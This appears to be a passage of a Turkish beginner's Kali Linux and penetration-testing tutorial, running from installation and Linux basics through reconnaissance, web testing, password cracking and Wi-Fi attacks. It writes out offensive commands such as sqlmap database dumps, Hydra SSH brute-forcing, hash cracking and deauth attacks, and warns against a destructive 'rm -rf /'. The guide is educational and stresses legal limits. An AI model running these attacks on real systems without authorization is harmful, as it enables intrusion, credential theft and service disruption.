root@kali:~#

KALI LINUX
Sıfırdan İleri Seviyeye

Sade anlatım · tüm detaylarıyla · uygulamalı Türkçe rehber

Siber Güvenlik ve Sızma Testi Öğrenenler İçin Başlangıç Kılavuzu

Sürüm 1.0 · 2026

Bu Rehber Hakkında

Bu rehber, daha önce Linux veya siber güvenlik deneyimi olmayan birinin bile adım adım ilerleyerek Kali Linux'u öğrenebilmesi için hazırlandı. Önce sağlam bir temel (Linux, terminal, ağ) kuruyoruz; ardından Kali'nin asıl gücü olan güvenlik araçlarına, bir sızma testinin aşamalarını izleyerek giriyoruz.

Her konu **sade bir dille** anlatıldı, ama hiçbir önemli detay atlanmadı. Kutucuklar şunları gösterir:

i NOT Not
Konuyu netleştiren ek bilgiler ve 'neden böyle?' açıklamaları.

✓ İPUCU İpucu
Zaman kazandıran pratik öneriler ve kısa yollar.

⚠ UYARI Uyarı
Sık yapılan hatalar ve sistemine zarar vermemen için dikkat noktaları.

§ YASAL / ETİK Yasal / Etik
Yalnızca izinli sistemlerde test yap. İzinsiz test suçtur.

İçindekiler

1. Kali Linux Nedir ve Neden Kullanılır?
2. Kurulum: Sanal Makine, USB, Dual Boot, WSL
3. İlk Açılış ve Temel Yapılandırma
4. Linux Temelleri ve Terminal
5. Dosya Sistemi, Kullanıcılar ve İzinler
6. Paket Yönetimi (APT) ve Güncelleme
7. Ağ (Network) Temelleri
8. Bash ve Temel Betik (Script) Yazımı
9. Kali Araç Kategorileri — Genel Harita
10. Bilgi Toplama (Reconnaissance)
11. Tarama ve Zafiyet Analizi
12. Web Uygulama Güvenliği
13. Parola Saldırıları ve Hash Kırma
14. Kablosuz (Wi-Fi) Ağ Güvenliği
15. Exploitation ve Metasploit Framework
16. Post-Exploitation ve Yetki Yükseltme
17. Anonimlik, İz Yönetimi ve OPSEC
18. Yasal Çerçeve ve Etik Kurallar

19. **Pratik Yapma: Lab Ortamları ve Yol Haritası**
20. **Kaynaklar, Sertifikalar ve Komut Kılavuzu**

> "Bir sistemi korumak için, onu nasıl kırabileceğini bilmen gerekir."

BÖLÜM 1

Kali Linux Nedir ve Neden Kullanılır?

Kali Linux, sızma testi (penetration testing), güvenlik araştırması, adli bilişim (forensics) ve tersine mühendislik için tasarlanmış, Debian tabanlı ücretsiz ve açık kaynak bir işletim sistemidir. **Offensive Security** firması tarafından geliştirilir ve bakımı yapılır. İçinde kurulu olarak 600'den fazla güvenlik aracı gelir.

Kali'yi diğer dağıtımlardan ayıran şey

- **Hazır araçlar:** Nmap, Metasploit, Burp Suite, Wireshark, Aircrack-ng gibi yüzlerce araç önceden kurulu gelir.
- **Debian tabanlı:** Ubuntu gibi `apt` paket yöneticisini kullanır; komutlar ve mantık tanıdıktır.
- **Özel çekirdek yamaları:** Kablosuz kartlarda 'monitor mode' ve paket enjeksiyonu için gerekli desteği içerir.
- **Çoklu platform:** PC, sanal makine, Raspberry Pi, bulut, hatta telefon (Kali NetHunter) üzerinde çalışır.
- **Canlı (Live) kullanım:** Kuruluma gerek kalmadan USB'den çalıştırılabilir.

Kali ne DEĞİLDİR?

> ⚠ **UYARI** **Kali günlük kullanım işletim sistemi değildir**
> Kali, güvenlik profesyonelleri için bir **araç kutusudur**, günlük bilgisayarın için değil. Tasarım gereği birçok işlem root yetkisine yakın çalışır; tecrübesiz kullanımda risklidir. Oyun, ofis, günlük internet için **Ubuntu, Linux Mint veya Windows** daha uygundur. Kali'yi öğrenmek için onu bir **sanal makinede** çalıştırmak en güvenli yoldur.

Kali'yi kimler kullanır?

Rol	Kullanım amacı
Sızma testi uzmanı (Pentester)	İzinli sistemlerde zafiyet bulmak ve raporlamak
Kırmızı Takım (Red Team)	Gerçekçi saldırı senaryolarıyla savunmayı test etmek
Güvenlik araştırmacısı	Yeni zafiyet ve exploit geliştirmek, analiz etmek
Adli bilişim uzmanı	Olay sonrası delil toplama ve analiz
Öğrenci / meraklı	Siber güvenliği uygulamalı öğrenmek (lab ortamında)

Alternatif güvenlik dağıtımları

Kali tek seçenek değildir. Benzer amaçlı diğer dağıtımlar: **Parrot OS** (daha hafif, gizlilik odaklı), **BlackArch** (Arch tabanlı, çok sayıda araç), **BackBox** (Ubuntu tabanlı). Yeni başlayanlar için en çok belge ve topluluk desteği olan Kali önerilir.

BÖLÜM 2

Kurulum: Sanal Makine, USB, Dual Boot, WSL

Kali'yi çalıştırmanın birkaç yolu vardır. Yeni başlıyorsan **sanal makine** yöntemi kesinlikle en güvenlisidir: ana sistemine dokunmadan, hata yaptığında kolayca geri dönebileceğin izole bir ortam sağlar.

Yöntemleri karşılaştırma

Yöntem	Avantaj	Dezavantaj	Kime uygun?
Sanal Makine	Güvenli, izole, geri alınabilir	Donanımın bir kısmını kullanır	Yeni başlayanlar ✓
Canlı USB	Kurulum yok, taşınabilir	Değişiklikler kalıcı değil*	Deneme / sahada iş
Dual Boot	Tam donanım performansı	Riskli, disk bölme gerekir	İleri kullanıcı
WSL2 (Windows)	Windows içinde hızlı terminal	GUI/kablosuz araçlar kısıtlı	Sadece komut satırı işi

* 'Persistence' ayarıyla USB'de de değişiklikler saklanabilir.

Yöntem 1 — VirtualBox ile Sanal Makine (önerilen)

1. **VirtualBox**'ı indir ve kur (Windows/macOS/Linux için ücretsiz): `virtualbox.org`.
2. Kali'nin resmi sitesinden hazır sanal makine imajını indir: `kali.org/get-kali` → 'Virtual Machines'.
3. İndirilen `.7z` dosyasını aç; içinden `.vbox` veya `.ova` dosyası çıkar.
4. VirtualBox'ta **Dosya → Appliance içe aktar (Import)** ile `.ova` dosyasını seç.
5. Makineye en az **2 CPU, 4 GB RAM** ver (mümkünse 8 GB). Disk 25 GB+ olsun.
6. Makineyi başlat. Varsayılan kullanıcı adı ve parola: `kali` / `kali`.

> ✓ **İPUCU** **Doğrulama (checksum) yapmayı unutma**
> İndirdiğin imajın bozulmadığını/değiştirilmediğini `SHA256` özetini karşılaştırarak doğrula: `sha256sum kali-linux-....iso` komutunun çıktısını sitedeki değerle kıyasla.

Yöntem 2 — Canlı (Live) USB oluşturma

1. Kali ISO dosyasını `kali.org/get-kali` → 'Installer Images' bölümünden indir.
2. En az 8 GB'lık bir USB bellek hazırla (içindeki veriler silinecek).
3. **Balena Etcher** (tüm platformlar) veya **Rufus** (Windows) ile ISO'yu USB'ye yaz.
4. Bilgisayarı yeniden başlat, BIOS/UEFI'den USB'yi önyükleme sırasına al (genelde F12/F2/Del).
5. 'Live' seçeneğiyle kurulumsuz dene ya da 'Install' ile diske kur.

Yöntem 3 — Diske tam kurulum / Dual Boot

> ⚠ **UYARI** **Verilerini yedekle**
> Dual boot sırasında disk bölme (partition) işlemi yanlış yapılırsa **tüm verilerini kaybedebilirsin**.
> İşleme başlamadan önce önemli dosyalarını harici bir diske yedekle.

- Kurulum sihirbazı dil, klavye, kullanıcı ve disk bölümlemeyi adım adım sorar.
- Dual boot'ta mevcut Windows'u koruyarak boş alana kurulum yapılır; GRUB önyükleyici işletim sistemi seçtirir.
- Tam disk şifreleme (LUKS) seçeneğini işaretlemen, bilgisayar çalınırsa verilerini korur.

Yöntem 4 — Windows üzerinde WSL2

PowerShell / Kali shell

```
# Yönetici PowerShell'de:
wsl --install
wsl --install -d kali-linux

# Kali içinde araç kataloğunu kurmak için:
sudo apt update && sudo apt install -y kali-linux-default
```

WSL2, Windows içinde hızlıca Kali terminaline erişmeni sağlar. Ancak kablosuz saldırı araçları ve grafik arayüz gerektiren işler için sınırlıdır; tam deneyim için sanal makine tercih et.

BÖLÜM 3

İlk Açılış ve Temel Yapılandırma

Kali'yi ilk kez başlattıktan sonra, araçları kullanmadan önce yapman gereken birkaç temel ayar var.

İlk iş: Sistemi güncelle

```
Terminal
sudo apt update        # Paket listesini yenile
sudo apt full-upgrade  # Tüm paketleri güncelle
sudo apt autoremove    # Gereksiz paketleri temizle
```

i NOT sudo nedir?

`sudo`, bir komutu yönetici (root) yetkisiyle çalıştırır. Sistem değişikliği yapan komutların başına gelir ve genelde parola sorar. Varsayılan parola: `kali`.

Parolaları değiştir

```
Terminal
passwd              # Kendi kullanıcı parolanı değiştir
sudo passwd root    # root parolasını ayarla (gerekirse)
```

Faydalı ilk ayarlar

- **Ekran kilidi / zaman dilimi:** Ayarlar menüsünden saat ve dil ayarlarını yap.
- **Snapshot (anlık görüntü) al:** Sanal makinede 'temiz kurulum' durumunu kaydet; bozulursa buraya dön.
- **Ekstra araçlar:** `sudo apt install -y seclists gobuster` gibi sık kullanılanları ekle.
- **Pano/sürükle-bırak:** VirtualBox'ta 'Guest Additions' kurarak ana sistemle entegrasyonu aç.

✓ İPUCU Snapshot = geri alma tuşu

Sanal makinede bir deney başarısız olup sistemi bozarsa, aldığın snapshot'a saniyeler içinde geri dönebilirsin. Her büyük denemeden önce snapshot almak çok iyi bir alışkanlıktır.

Araç katalogları (metapackages)

Kali, araçları gruplar halinde sunar. İhtiyacına göre kur:

Paket	İçerik
kali-linux-default	Varsayılan araç seti (çoğu kullanıcı için yeterli)

Paket	İçerik
kali-linux-large	Çok daha geniş araç koleksiyonu
kali-tools-wireless	Kablosuz ağ araçları
kali-tools-web	Web uygulama test araçları
kali-tools-forensics	Adli bilişim araçları

BÖLÜM 4

Linux Temelleri ve Terminal

Kali'nin gücü **terminalde** (komut satırı) ortaya çıkar. Grafik arayüz yardımcıdır ama profesyonel iş terminalde yapılır. Bu bölüm, hiç Linux bilmeyen biri için temel komutları öğretir.

Terminalin mantığı

Terminalde her satır bir **komut**tur. Genel yapı şöyledir:

```
Komut yapısı
komut  [seçenekler]  [hedef]

ls     -l            /home     # /home klasörünü uzun formatta listele
#  ^komut ^seçenek    ^hedef
```

Olmazsa olmaz dosya/dizin komutları

Komut	Ne yapar?	Örnek
pwd	Bulunduğun dizini gösterir	pwd
ls	Dizin içeriğini listeler	ls -la
cd	Dizin değiştirir	cd /etc
mkdir	Yeni klasör oluşturur	mkdir testler
cp	Dosya kopyalar	cp a.txt b.txt
mv	Taşır / yeniden adlandırır	mv a.txt belge.txt
rm	Siler	rm eski.txt
cat	Dosya içeriğini basar	cat notlar.txt
nano	Basit metin editörü	nano dosya.txt

> ⚠ **UYARI** **rm -rf çok tehlikelidir**
> `rm -rf klasor` komutu, klasörü ve içindeki her şeyi **geri dönüşsüz** siler. Çöp kutusu yoktur.
> `sudo rm -rf /` gibi bir komut tüm sistemi silebilir. Yolları iki kez kontrol et.

Arama, görüntüleme ve filtreleme

Komut	İş
grep 'kelime' dosya	Dosya içinde metin arar
find / -name '*.conf'	İsme göre dosya arar

Komut	İş
locate nmap	Hızlı dosya arama (veritabanından)
head / tail	Dosyanın başını / sonunu gösterir
less dosya	Uzun dosyayı sayfa sayfa gösterir
wc -l dosya	Satır/kelime sayar

Borular (pipe) ve yönlendirme — Linux'un sihri

Bir komutun çıktısını başka bir komuta **boru** (`|`) ile aktarabilirsin. Bu, küçük araçları birleştirip güçlü işler yapmanı sağlar:

Pipe ve yönlendirme

```
cat erisim.log | grep 'HATA' | wc -l
#  loglari oku → sadece HATA satirlari → kac tane oldugunu say

ls -l > liste.txt      # Çıktıyı dosyaya YAZ (üzerine)
echo 'not' >> liste.txt # Dosya SONUNA ekle
```

Yardım almayı öğren

- `man komut` — bir komutun tam el kitabını (manual) açar. En güvenilir kaynak budur.
- `komut --help` — kısa kullanım özeti verir.
- `tldr komut` — sık örneklerle sade açıklama (önce `sudo apt install tldr`).
- `apropos konu` — bir konuyla ilgili komutları bulur.

BÖLÜM 5

Dosya Sistemi, Kullanıcılar ve İzinler

Linux dizin yapısı

Linux'ta her şey tek bir kökten (`/`) başlar. Sürücü harfleri (C:, D:) yoktur.

Dizin	İçerik
/	Kök dizin — her şeyin başladığı yer
/home	Kullanıcıların kişisel klasörleri (/home/kali)
/etc	Sistem ayar dosyaları
/bin, /usr/bin	Çalıştırılabilir programlar (komutlar)
/var	Değişken veriler: loglar, web dosyaları
/tmp	Geçici dosyalar (yeniden başlatınca silinir)
/root	root kullanıcısının ev dizini
/dev	Donanım aygıtları (diskler, USB vb.)

Kullanıcılar ve root kavramı

Linux çok kullanıcılı bir sistemdir. **root**, her şeyi yapabilen süper kullanıcıdır (Windows'taki Administrator'dan daha güçlü). Günlük işte normal kullanıcı olarak çalışır, yetki gerektiğinde `sudo` kullanırsın. Bu, yanlışlıkla sistemi bozmanı önler.

Dosya izinleri — en önemli konu

Her dosyanın üç tür kullanıcı için üç izni vardır. `ls -l` çıktısında şöyle görünür:

ls -l çıktısı

```
-rwxr-xr--  1 kali kali  2048  betik.sh
 |||  |||  |||
 |||  |||  └└└── digerleri (others): r-- → sadece okuma
 |||  └└└─────── grup (group):       r-x → okuma + calistirma
 └└└──────────── sahip (owner):      rwx → okuma+yazma+calistirma
```

Harflerin anlamı: **r** = oku (read), **w** = yaz (write), **x** = çalıştır (execute).

İzinleri değiştirme: chmod

Terminal

```
chmod +x betik.sh        # Çalıştırma izni ekle
chmod 755 betik.sh       # rwx r-x r-x (sayısal yöntem)
chmod 600 gizli.txt      # Sadece sahip okuyup yazsın
chown kali:kali dosya    # Sahipliği değiştir
```

i NOT Sayısal izinler nasıl okunur?
Her hane bir kullanıcı grubudur: **sahip-grup-diğerleri**. r=4, w=2, x=1 toplanır.
Örnek: 7 = 4+2+1 = rwx, 5 = 4+1 = r-x, 6 = 4+2 = rw-. Yani 755 = rwx r-x r-x.

Süreç (process) yönetimi

Komut	İş
ps aux	Çalışan tüm süreçleri listeler
top / htop	Canlı sistem/işlem izleme
kill PID	Bir süreci sonlandırır
jobs / fg / bg	Arka plandaki işleri yönetir
komut &	Komutu arka planda çalıştırır

BÖLÜM 6

Paket Yönetimi (APT) ve Güncelleme

Kali'de yazılımları **APT** (Advanced Package Tool) ile kurar, günceller ve kaldırırsın. Windows'taki 'indir-kur' yerine, merkezi bir depodan (repository) güvenli kurulum yaparsın.

Temel APT komutları

Komut	İş
sudo apt update	Paket listesini (katalog) yeniler
sudo apt upgrade	Kurulu paketleri günceller
sudo apt install ad	Yeni paket kurar
sudo apt remove ad	Paketi kaldırır (ayarları bırakır)
sudo apt purge ad	Paketi ve ayarlarını tümüyle siler
apt search kelime	Depoda paket arar
apt show ad	Paket hakkında bilgi verir

i NOT update ve upgrade farkı

`update` yalnızca **listeyi** yeniler (neyin mevcut olduğunu öğrenir). `upgrade` ise gerçekten **indirip kurar**. Bu yüzden önce update, sonra upgrade çalıştırılır.

Depo dışı yazılım kurma

- `.deb` paketleri: `sudo dpkg -i paket.deb` ardından `sudo apt -f install` (eksik bağımlılıklar için).
- GitHub'dan araç: `git clone <adres>` ile indir, README'deki kurulum adımlarını izle.
- Python araçları: `pipx install arac` ile izole kurulum (sistemi kirletmez).

⚠ UYARI Depolarını karıştırma

Kali'ye Ubuntu veya Debian depoları eklemek sistemi **bozar**. Sadece resmi Kali deposunu kullan.

Sorun yaşarsan `/etc/apt/sources.list` dosyasında tek satır olmalı: resmi Kali deposu.

BÖLÜM 7

Ağ (Network) Temelleri

Siber güvenliğin kalbi ağdır. Saldırı ve savunmanın çoğu ağ üzerinden gerçekleşir. Bu bölüm temel ağ kavramlarını ve Kali'deki ağ komutlarını öğretir.

Temel kavramlar

Kavram	Açıklama
IP adresi	Bir cihazın ağdaki adresi (örn. 192.168.1.10)
Port	Bir hizmetin kapısı (80=HTTP, 443=HTTPS, 22=SSH)
Protokol	İletişim kuralları (TCP, UDP, ICMP)
MAC adresi	Ağ kartının donanımsal benzersiz kimliği
DNS	Alan adını IP'ye çeviren sistem (site.com → IP)
Gateway	Ağın dışına çıkış kapısı (genelde modem/router)
Subnet	Ağın bölümlenmesi (örn. /24 = 256 adres)

Önemli portlar ve servisler

Port	Servis	Açıklama
21	FTP	Dosya transferi (şifresiz)
22	SSH	Güvenli uzaktan erişim
23	Telnet	Uzaktan erişim (şifresiz, riskli)
25	SMTP	E-posta gönderme
53	DNS	Alan adı çözümleme
80	HTTP	Web (şifresiz)
443	HTTPS	Web (şifreli)
445	SMB	Windows dosya paylaşımı
3306	MySQL	Veritabanı
3389	RDP	Windows uzak masaüstü

Kali'de ağ komutları

Komut	İş
ip a	Ağ arayüzlerini ve IP adreslerini gösterir
ip r	Yönlendirme (routing) tablosunu gösterir

Komut	İş
ping hedef	Hedefe ulaşılıp ulaşılmadığını test eder
netstat -tulpn / ss -tulpn	Açık portları ve servisleri listeler
dig / nslookup site.com	DNS sorgusu yapar
whois site.com	Alan adı kayıt bilgilerini getirir
traceroute hedef	Pakete giden yolu (sıçramaları) gösterir
curl / wget	Web üzerinden veri çeker / indirir

OSI modeli — çok kısa

Ağ iletişimi 7 katmanda düşünülür. Güvenlikte en çok konuşulanlar: **Katman 2 (MAC/Ethernet), Katman 3 (IP), Katman 4 (TCP/UDP, portlar), Katman 7 (uygulama: HTTP, DNS)**. Hangi aracın hangi katmanda çalıştığını bilmek, saldırıyı doğru yerden kurmanı sağlar.

BÖLÜM 8

Bash ve Temel Betik (Script) Yazımı

Aynı komutları tekrar tekrar yazmak yerine, bir **betik** (script) yazarak otomatikleştirebilirsin. Bash betiği, Kali'de en çok kullanılan otomasyon aracıdır.

İlk betiğin

tarama.sh

```
#!/bin/bash
# Bu bir yorum satiridir
echo 'Merhaba, siber dunya!'
hedef='scanme.nmap.org'
echo "Hedef: $hedef"
ping -c 2 $hedef
```

Terminal

```
chmod +x tarama.sh    # Calistirilabilir yap
./tarama.sh           # Calistir
```

Değişken, döngü ve koşul

ping_tara.sh

```
#!/bin/bash
# Bir IP listesini ping'le
for ip in 192.168.1.1 192.168.1.2 192.168.1.3; do
    if ping -c 1 -W 1 $ip &> /dev/null; then
        echo "$ip AYAKTA"
    else
        echo "$ip erisilemez"
    fi
done
```

✓ İPUCU **Betik + pipe = güç**

Nmap, grep ve awk gibi araçları bir betikte birleştirerek kendi otomatik tarama araçlarını yazabilirsin. Profesyoneller iş akışlarını böyle hızlandırır.

Python'a da bir göz at

Daha karmaşık araçlar için **Python** öğrenmek çok değerlidir. Kali'deki birçok güvenlik aracı Python ile yazılmıştır ve kendi exploit/otomasyon scriptlerini Python'la yazmak yaygındır.

BÖLÜM 9

Kali Araç Kategorileri — Genel Harita

Kali'nin menüsü araçları kategorilere ayırır. Bir sızma testinin aşamalarıyla bu kategoriler birebir örtüşür. Önce **haritayı** görelim, sonra önemli kategorileri tek tek işleyeceğiz.

Kategori	Amaç	Örnek araçlar
Information Gathering	Hedef hakkında bilgi toplama	Nmap, theHarvester, Recon-ng
Vulnerability Analysis	Zafiyet tespiti	Nikto, Nessus, OpenVAS
Web Application Analysis	Web güvenliği testi	Burp Suite, OWASP ZAP, sqlmap
Database Assessment	Veritabanı testleri	sqlmap, sqlninja
Password Attacks	Parola kırma	John, Hashcat, Hydra
Wireless Attacks	Kablosuz ağ testi	Aircrack-ng, Wifite, Kismet
Exploitation Tools	Zafiyet sömürme	Metasploit, SearchSploit
Sniffing & Spoofing	Trafik dinleme/aldatma	Wireshark, Ettercap, Bettercap
Post Exploitation	Erişim sonrası işlemler	Meterpreter, Mimikatz
Forensics	Adli analiz	Autopsy, Volatility, Binwalk
Reporting Tools	Raporlama	Dradis, Faraday, CherryTree
Social Engineering	İnsan odaklı saldırı	SET (Social-Engineer Toolkit)

Bir sızma testinin aşamaları

Profesyonel bir test rastgele değil, bir **metodolojiyle** yürür. En bilinen çerçeveler PTES ve OWASP'tır. Basitleştirilmiş akış:

1. **Keşif (Reconnaissance):** Hedef hakkında bilgi topla (Bölüm 10).
2. **Tarama (Scanning):** Açık portları, servisleri ve zafiyetleri bul (Bölüm 11).
3. **Erişim Sağlama (Exploitation):** Zafiyeti kullanarak içeri gir (Bölüm 15).
4. **Erişimi Koruma / Yükseltme (Post-Exploitation):** Yetkini artır, kalıcı ol (Bölüm 16).
5. **İzleri Temizleme ve Raporlama:** Bulguları belgele, müşteriye düzgün bir rapor sun.

§ YASAL / ETİK **Raporlama işin en önemli yarısıdır**

Bir pentester'ın asıl ürünü 'hack' değil, **rapordur**: hangi zafiyet, ne risk, nasıl düzeltilir. İzinsiz test ve raporsuz 'hack' profesyonellik değildir.

BÖLÜM 10

Bilgi Toplama (Reconnaissance)

Her testin ilk ve en önemli adımı bilgi toplamadır. Hedefi ne kadar iyi tanırsan, sonraki adımlar o kadar isabetli olur. İki tür vardır:

- **Pasif keşif:** Hedefe hiç dokunmadan, halka açık kaynaklardan bilgi toplama (OSINT). Tespit edilmezsin.
- **Aktif keşif:** Hedefe doğrudan paket gönderip yanıt alma (tarama). Loglarda iz bırakır.

Pasif keşif araçları (OSINT)

Araç / Yöntem	Ne bulur?
whois site.com	Alan adı sahibi, kayıt tarihi, sunucu
theHarvester	E-posta adresleri, alt alan adları
dig / dnsrecon	DNS kayıtları, alt alan adları
Google Dorks	Arama motoruyla sızmış bilgi (site:, filetype:)
Shodan.io	İnternete açık cihazlar, kameralar, sunucular
Maltego	İlişki haritaları (kişi, alan, IP bağlantıları)

Pasif keşif

```
whois example.com
theHarvester -d example.com -b all
dnsrecon -d example.com
# Google Dork örnegi:  site:example.com filetype:pdf
```

Aktif keşif: Nmap — en önemli araç

Nmap (Network Mapper), ağdaki canlı cihazları, açık portları ve çalışan servisleri bulan, dünyanın en çok kullanılan tarama aracıdır. Mutlaka iyi öğren.

Nmap örnekleri

```
nmap 192.168.1.10              # Temel tarama
nmap -sV 192.168.1.10          # Servis sürümlerini tespit et
nmap -p- 192.168.1.10          # Tüm 65535 portu tara
nmap -A 192.168.1.10           # Agresif: OS+servis+script+traceroute
nmap -sC -sV -oN sonuc.txt hedef  # Varsayilan scriptler + kayit
nmap 192.168.1.0/24            # Tüm ağı tara (host keşfi)
```

Seçenek	Anlamı
-sV	Servis ve sürüm tespiti
-sC (büyük C)	Varsayılan NSE scriptlerini çalıştırır

Seçenek	Anlamı
-p-	Bütün portları tarar (1-65535)
-A	Agresif tarama (OS, sürüm, script, traceroute)
-sS	SYN (gizli/yarı-açık) tarama
-oN / -oA	Sonuçları dosyaya kaydeder
-T4	Tarama hızı (0 yavaş – 5 çok hızlı)

✓ **İPUCU** **Önce yavaş ve geniş, sonra derin**

Önce `-p-` ile hangi portların açık olduğunu bul; ardından sadece o portlara `-sV -sC` ile derin tarama yap. Bu hem hızlı hem düzenli bir iş akışıdır.

BÖLÜM 11

Tarama ve Zafiyet Analizi

Portları ve servisleri bulduktan sonra sıra, bu servislerdeki **zafiyetleri** (güvenlik açıklarını) tespit etmeye gelir.

Zafiyet nedir?

Zafiyet, bir sistemdeki yazılım hatası, hatalı yapılandırma ya da zayıf parola gibi, saldırganın kötüye kullanabileceği bir açıktır. Her zafiyetin bir **CVE** numarası (örn. CVE-2021-44228) ve bir **CVSS** risk puanı (0–10) olabilir.

Zafiyet tarayıcıları

Araç	Kullanım alanı
Nmap NSE scriptleri	`nmap --script vuln hedef` ile bilinen açıkları tarar
Nikto	Web sunucusu zafiyet taraması
OpenVAS / Greenbone	Kapsamlı ağ zafiyet taraması (ücretsiz)
Nessus	Profesyonel zafiyet tarayıcı (ücretli/ücretsiz sürüm)
WPScan	WordPress siteleri için özel tarayıcı

Zafiyet tarama

```
nmap --script vuln 192.168.1.10
nikto -h http://192.168.1.10
wpscan --url http://site.com --enumerate u,vp
```

Zafiyet veritabanları ve exploit bulma

- **SearchSploit:** Kali'de kurulu gelen Exploit-DB arşivi. `searchsploit apache 2.4`.
- **Exploit-DB (exploit-db.com):** Hazır exploit kodları.
- **CVE / NVD (nvd.nist.gov):** Resmi zafiyet veritabanı ve risk puanları.
- **Vulners, CVE Details:** Sürüme göre bilinen açıkları arama.

SearchSploit

```
searchsploit vsftpd 2.3.4
searchsploit -m 17491     # Exploit kodunu bulundugun klasore kopyala
```

> ⚠ **UYARI** **Her 'açık' gerçek açık değildir**
> Tarayıcılar bazen **yanlış pozitif** (false positive) üretir: olmayan bir açığı var gibi gösterir. Profesyonel, her bulguyu elle doğrular ve risk seviyesini kendi değerlendirir.

BÖLÜM 12

Web Uygulama Güvenliği

Günümüz saldırılarının çoğu web uygulamaları üzerinden gerçekleşir. **OWASP Top 10**, en kritik web zafiyetlerinin listesidir ve web güvenliği öğreniminin omurgasıdır.

OWASP Top 10 — en kritik web zafiyetleri

Zafiyet	Kısa açıklama
Injection (SQLi vb.)	Kötü niyetli girdinin komut gibi çalıştırılması
Broken Access Control	Yetkisiz kullanıcının yetkili işlem yapabilmesi
Cryptographic Failures	Zayıf/eksik şifreleme ile veri sızması
XSS	Kurbanın tarayıcısında kötü script çalıştırma
Security Misconfiguration	Varsayılan/hatalı güvenlik ayarları
Vulnerable Components	Güncellenmemiş, açıklı kütüphaneler
Identification/Auth Failures	Zayıf oturum ve kimlik doğrulama
SSRF	Sunucuyu iç kaynaklara istek atmaya zorlama

Önemli web test araçları

Araç	İş
Burp Suite	Web trafiğini araya girip inceleme/değiştirme (en önemli araç)
OWASP ZAP	Ücretsiz web zafiyet tarayıcı ve proxy
sqlmap	SQL Injection'ı otomatik tespit ve sömürme
Gobuster / ffuf	Gizli dizin ve dosya keşfi (brute force)
WhatWeb / Wappalyzer	Sitenin kullandığı teknolojileri tespit

Dizin keşfi örneği

```
Gobuster / ffuf
gobuster dir -u http://site.com -w /usr/share/wordlists/dirb/common.txt
ffuf -u http://site.com/FUZZ -w wordlist.txt
```

SQL Injection taraması (sqlmap)

```
sqlmap
sqlmap -u 'http://site.com/urun?id=1' --dbs
sqlmap -u 'http://site.com/urun?id=1' -D veritabani --tables
sqlmap -u 'http://site.com/urun?id=1' --batch --dump
```

Burp Suite'in mantığı

Burp Suite, tarayıcın ile web sitesi **arasına** girer (proxy). Giden her isteği görebilir, durdurabilir, değiştirip tekrar gönderebilirsin. Bu sayede uygulamanın gizli davranışlarını test edersin. Ana sekmeler: **Proxy** (trafiği yakala), **Repeater** (isteği elle tekrarla), **Intruder** (otomatik saldırı), **Decoder** (kodlama/çözme).

§ YASAL / ETİK Sadece kendi laboratuvarında dene

Bu araçları yalnızca **sana ait veya izinli** sistemlerde kullan. DVWA, Juice Shop gibi özel olarak savunmasız yapılmış uygulamalar tam bu amaç için vardır (Bölüm 19).

BÖLÜM 13

Parola Saldırıları ve Hash Kırma

Zayıf parolalar, en yaygın güvenlik açıklarından biridir. Bu bölüm parola saldırı türlerini ve Kali'nin parola araçlarını tanıtır.

Saldırı türleri

Tür	Açıklama
Sözlük (Dictionary)	Hazır parola listesini tek tek dener
Kaba kuvvet (Brute force)	Tüm olası kombinasyonları dener (yavaş)
Hibrit	Sözlük + kurallar (örn. parola123, Parola!)
Credential stuffing	Sızmış parolaları başka serviste dener
Rainbow table	Önceden hesaplanmış hash tablolarıyla eşleştirme

Hash nedir?

Sistemler parolaları düz metin olarak saklamaz; **hash** adı verilen tek yönlü bir özetini saklar (örn. MD5, SHA-256, bcrypt). Hash kırma, bir parolayı deneyip hash'ini üreterek hedef hash ile eşleşip eşleşmediğine bakmaktır.

Çevrimdışı hash kırma: John & Hashcat

John / Hashcat

```
# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt hashler.txt
john --show hashler.txt

# Hashcat (GPU ile çok hızlı) — örn. MD5 (-m 0)
hashcat -m 0 -a 0 hashler.txt rockyou.txt
```

✓ **İPUCU** **rockyou.txt — efsane kelime listesi**

`/usr/share/wordlists/rockyou.txt`, 14 milyondan fazla gerçek sızmış parola içerir. Sıkıştırılmışsa aç: `sudo gunzip /usr/share/wordlists/rockyou.txt.gz`.

Çevrimiçi (ağ üzerinden) parola saldırısı: Hydra

Hydra, SSH, FTP, RDP, web formu gibi servislere karşı ağ üzerinden parola denemesi yapar.

Hydra

```
hydra -l admin -P rockyou.txt ssh://192.168.1.10
hydra -L kullanicilar.txt -P parolalar.txt ftp://192.168.1.10
```

> ⚠ **UYARI** **Hesap kilitleme ve iz**
> Çevrimiçi denemeler yavaştır, loglarda görünür ve hesapları kilitleyebilir. Gerçek testlerde ölçülü ve izinli kullan; çevrimdışı kırma her zaman daha sessizdir.

BÖLÜM 14

Kablosuz (Wi-Fi) Ağ Güvenliği

Kali'nin öne çıktığı alanlardan biri kablosuz ağ testleridir. Bunun için **monitor mode**'u destekleyen bir Wi-Fi adaptörü gerekir (dahili kartların çoğu yetmez; harici USB adaptör önerilir).

Temel kavramlar

- **Monitor mode:** Kartın, kendisine ait olmayan tüm kablosuz paketleri dinleyebildiği mod.
- **Handshake:** Bir cihaz Wi-Fi'ye bağlanırken yapılan parola doğrulama trafiği; yakalanırsa çevrimdışı kırılabilir.
- **WPA2 / WPA3:** Modern Wi-Fi şifreleme standartları (WEP artık kırık ve güvensiz).

Aircrack-ng ile tipik akış

```
Aircrack-ng
sudo airmon-ng start wlan0            # Monitor mode'a al (wlan0mon)
sudo airodump-ng wlan0mon            # Çevredeki ağları tara
sudo airodump-ng -c 6 --bssid <MAC> -w kayit wlan0mon  # Hedefi dinle
sudo aireplay-ng --deauth 5 -a <MAC> wlan0mon  # Handshake'i tetikle
aircrack-ng -w rockyou.txt kayit.cap  # Yakalanan handshake'i kır
```

Wifite, bu adımların çoğunu otomatikleştiren, yeni başlayan dostu bir araçtır: `sudo wifite`.

§ YASAL / ETİK **Komşunun Wi-Fi'sine girmek suçtur**

Kablosuz testleri yalnızca **kendi ağında** veya yazılı izin verilen ağlarda yap. Başkasının ağına izinsiz erişim, dinleme ve deauth saldırısı birçok ülkede açıkça suçtur.

Deauth ve diğer saldırılar

Deauthentication (deauth) saldırısı, cihazları ağdan koparan sahte yönetim paketleri gönderir; bu hem handshake yakalamak için hem de hizmet kesintisi (DoS) olarak kullanılabilir. **Evil Twin**, meşru ağın sahtesini kurup kullanıcıları kandırma tekniğidir. Bunların hepsi yalnızca eğitim ve izinli test içindir.

BÖLÜM 15

Exploitation ve Metasploit Framework

